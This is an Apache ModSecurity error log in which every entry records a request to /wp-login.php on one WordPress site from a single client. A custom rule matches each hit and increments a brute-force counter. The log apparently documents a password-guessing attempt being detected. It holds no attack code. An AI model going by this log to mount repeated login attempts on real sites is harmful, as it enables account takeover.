[Sun Mar 01 23:48:26.368425 2026] [:error] [pid 40750:tid 40762] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfygfBuk03yQKDyqurnwAAAck"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:28.182027 2026] [:error] [pid 40750:tid 40765] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfzAfBuk03yQKDyqurqgAAAcw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:30.956553 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfzgfBuk03yQKDyqurrwAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:33.040467 2026] [:error] [pid 40750:tid 40753] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf0QfBuk03yQKDyquruQAAAcA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:35.869012 2026] [:error] [pid 40750:tid 40772] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf0wfBuk03yQKDyqurxQAAAdM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:38.071524 2026] [:error] [pid 40750:tid 40754] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf1gfBuk03yQKDyqurzAAAAcE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:40.803904 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf2AfBuk03yQKDyqur4gAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:42.931446 2026] [:error] [pid 40750:tid 40759] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf2gfBuk03yQKDyqur7AAAAcY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:45.641176 2026] [:error] [pid 40750:tid 40756] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf3QfBuk03yQKDyqur8AAAAcM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:47.605438 2026] [:error] [pid 40750:tid 40765] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf3wfBuk03yQKDyqur8wAAAcw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:50.455877 2026] [:error] [pid 40750:tid 40769] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf4gfBuk03yQKDyqur9wAAAdA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:52.400021 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf5AfBuk03yQKDyqur-QAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:55.197904 2026] [:error] [pid 40750:tid 40773] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf5wfBuk03yQKDyqur_AAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:57.025308 2026] [:error] [pid 40750:tid 40774] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf6QfBuk03yQKDyqur_QAAAdU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:48:59.779161 2026] [:error] [pid 40750:tid 40772] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf6wfBuk03yQKDyqusAwAAAdM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:01.605073 2026] [:error] [pid 40750:tid 40761] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf7QfBuk03yQKDyqusCAAAAcg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:04.362741 2026] [:error] [pid 40750:tid 40757] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf8AfBuk03yQKDyqusCwAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:06.135322 2026] [:error] [pid 40750:tid 40777] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf8gfBuk03yQKDyqusDAAAAdg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:08.920273 2026] [:error] [pid 40750:tid 40766] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf9AfBuk03yQKDyqusFgAAAc0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:11.149552 2026] [:error] [pid 40750:tid 40762] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf9wfBuk03yQKDyqusGwAAAck"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:13.858942 2026] [:error] [pid 40750:tid 40757] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf-QfBuk03yQKDyqusLAAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:15.728118 2026] [:error] [pid 40750:tid 40753] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf-wfBuk03yQKDyqusNQAAAcA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:18.475928 2026] [:error] [pid 40750:tid 40776] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRf_gfBuk03yQKDyqusQgAAAdc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:20.321106 2026] [:error] [pid 40750:tid 40758] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgAAfBuk03yQKDyqusSAAAAcU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:23.029288 2026] [:error] [pid 40750:tid 40762] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgAwfBuk03yQKDyqusTgAAAck"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:24.947703 2026] [:error] [pid 40750:tid 40763] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgBAfBuk03yQKDyqusUwAAAco"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:27.699577 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgBwfBuk03yQKDyqusZAAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:29.867990 2026] [:error] [pid 40750:tid 40766] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgCQfBuk03yQKDyqusaAAAAc0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:32.582406 2026] [:error] [pid 40750:tid 40763] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgDAfBuk03yQKDyqusawAAAco"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:34.648783 2026] [:error] [pid 40750:tid 40777] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgDgfBuk03yQKDyqusbgAAAdg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:38.393341 2026] [:error] [pid 40750:tid 40768] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgEgfBuk03yQKDyquscQAAAc8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:40.243152 2026] [:error] [pid 40750:tid 40757] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgFAfBuk03yQKDyquscgAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:42.929811 2026] [:error] [pid 40750:tid 40762] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgFgfBuk03yQKDyqusdAAAAck"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:44.774450 2026] [:error] [pid 40750:tid 40761] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgGAfBuk03yQKDyqusdQAAAcg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:47.453568 2026] [:error] [pid 40750:tid 40756] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgGwfBuk03yQKDyqusdwAAAcM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:49.653848 2026] [:error] [pid 40750:tid 40755] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgHQfBuk03yQKDyquseAAAAcI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:52.356244 2026] [:error] [pid 40750:tid 40766] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgIAfBuk03yQKDyqusfQAAAc0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:54.203066 2026] [:error] [pid 40750:tid 40774] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgIgfBuk03yQKDyqusgAAAAdU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:56.974134 2026] [:error] [pid 40750:tid 40763] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgJAfBuk03yQKDyqusggAAAco"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:49:58.711380 2026] [:error] [pid 40750:tid 40758] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgJgfBuk03yQKDyqushQAAAcU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:01.926151 2026] [:error] [pid 40750:tid 40762] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgKQfBuk03yQKDyqusiQAAAck"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:03.680141 2026] [:error] [pid 40750:tid 40771] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgKwfBuk03yQKDyqusjQAAAdI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:06.420708 2026] [:error] [pid 40750:tid 40766] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgLgfBuk03yQKDyquskwAAAc0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:08.149122 2026] [:error] [pid 40750:tid 40767] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgMAfBuk03yQKDyquslQAAAc4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:10.906830 2026] [:error] [pid 40750:tid 40761] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgMgfBuk03yQKDyqusnAAAAcg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:13.101259 2026] [:error] [pid 40750:tid 40757] [client 5.189.188.55:55577] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgNQfBuk03yQKDyqusqQAAAcQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:16.547785 2026] [:error] [pid 7133:tid 7159] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgOPCtubh8pR64qB9-qQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:18.591697 2026] [:error] [pid 7133:tid 7144] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgOvCtubh8pR64qB9-rgAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:21.181135 2026] [:error] [pid 7133:tid 7146] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgPfCtubh8pR64qB9-tQAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:23.060473 2026] [:error] [pid 7133:tid 7150] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgP_Ctubh8pR64qB9-uwAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:25.641939 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgQfCtubh8pR64qB9-wgAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:27.703804 2026] [:error] [pid 7133:tid 7146] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgQ_Ctubh8pR64qB9-zQAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:30.307904 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgRvCtubh8pR64qB9-0QAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:32.388258 2026] [:error] [pid 7133:tid 7148] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgSPCtubh8pR64qB9-0gAAAE0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:34.957265 2026] [:error] [pid 7133:tid 7154] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgSvCtubh8pR64qB9-1QAAAFM"], referer: https://gigfragments.org/wp-login.php
